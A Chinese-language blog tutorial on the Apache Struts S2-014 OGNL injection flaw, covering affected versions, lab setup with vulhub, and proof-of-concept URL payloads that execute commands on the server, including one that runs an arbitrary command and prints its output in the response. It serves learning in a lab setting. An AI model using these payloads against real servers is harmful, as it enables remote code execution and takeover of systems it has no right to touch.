Struts-S2-014漏洞利用(含環(huán)境搭建、含POC)

struts-s2-014

此文僅供大家交流學(xué)習(xí),嚴(yán)禁非法使用

一、參考網(wǎng)址:

http://struts.apache.org/docs/s2-014.html
https://github.com/phith0n/vulhub/tree/master/struts2/s2-013

二、 影響版本:

S2-014 是對 S2-013 修復(fù)的加強,在 S2-013 修復(fù)的代碼中忽略了 ${ognl_exp} OGNL 表達(dá)式執(zhí)行的方式,因此 S2-014 是對其的補丁加強。

三、 漏洞介紹:

無論是S:URL和S:一個標(biāo)簽提供includeParams屬性。
該屬性的主要范圍是了解是否包括http請求參數(shù)。
includeParams的允許值為:
無 - 在URL中不包含參數(shù)(默認(rèn))
get - 僅在URL中包含GET參數(shù)
all - 在URL中包含GET和POST參數(shù)
包含特制請求參數(shù)的請求可用于將任意OGNL代碼注入到堆棧中,之后用作URL或A標(biāo)簽的請求參數(shù),這將進(jìn)一步評估。
當(dāng)URL / A標(biāo)簽嘗試解析原始請求中存在的每個參數(shù)時,會發(fā)生第二個評估。
這使得惡意用戶將任意的OGNL語句放入任何請求參數(shù)(不一定由代碼管理),并將其評估為OGNL表達(dá)式,以啟用方法執(zhí)行并執(zhí)行任意方法,繞過Struts和OGNL庫保護(hù)。
這個問題最初由Struts 2.3.14.1和安全公告S2-013處理。然而,2.3.14.1引入的解決方案沒有解決所有可能的攻擊向量,因此2.3.14.2之前的每個版本的Struts 2仍然容易受到這種攻擊。

此漏洞相對于S2-013來說,前者參數(shù)必須為后臺代碼指定參數(shù),但后者為任意參數(shù),大大增強了漏洞被攻破的可能性

四、 環(huán)境搭建:

(windows)

  • 下載/struts/2.1.6

下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip

  • 下載安裝xampp

  • 部署showcase

  • 解壓

2.1.6_1.png

2.1.6_2.png
  • 復(fù)制到.
2.1.6_3.png
  • 重啟tomcat
2.1.6_4.png
  • 已成功自動部署
2.1.6_5.png
  • 修改配置
    在Struts Blank應(yīng)用程序中打開HelloWorld.jsp,并將以下參數(shù)添加到url / a標(biāo)簽之一:
    includeParams="all"
    這樣一來,這條線將會是這樣的:
    <s:url id="url" action="HelloWorld" includeParams="all">
    運行struts2-blank應(yīng)用程序

環(huán)境搭建:(ubuntu)

curl -s https://bootstrap.pypa.io/get-pip.py | python3

  • 安裝docker
    apt-get update && apt-get install docker.io

  • 啟動docker服務(wù)
    service docker start

  • 安裝compose
    pip install docker-compose

注意要先ssh連接,將公鑰添加到github上,具體參照網(wǎng)上教程

  • 拉取項目
    git clone git@github.com:phith0n/vulhub.git
    cd vulhub

  • 進(jìn)入某一個漏洞/環(huán)境的目錄
    cd nginx_php5_mysql

  • 自動化編譯環(huán)境
    docker-compose build

  • 啟動整個環(huán)境
    docker-compose up -d

五、 POC:

aaa=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}

六、 測試網(wǎng)址:

原始網(wǎng)址:

http://ip:8080/struts2-blank-2.1.6/example/HelloWorld.action

修改后網(wǎng)址;

http://ip:8080/struts2-blank-2.1.6/example/HelloWorld.action?url=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}

執(zhí)行結(jié)果為打開本地計算器應(yīng)用

任意可執(zhí)行命令POC:

aaaa=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo)%7D

七、執(zhí)行結(jié)果

1.png

注意根據(jù)需求更改res大小

八、 至此,該漏洞基本利用完畢

本人還是一個未畢業(yè)的小萌新,希望大家多多幫助,有問題請發(fā)送郵件到xrzsupupup@163.com不勝感激,我也會盡量去幫助大家

堅決做一名白帽子

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容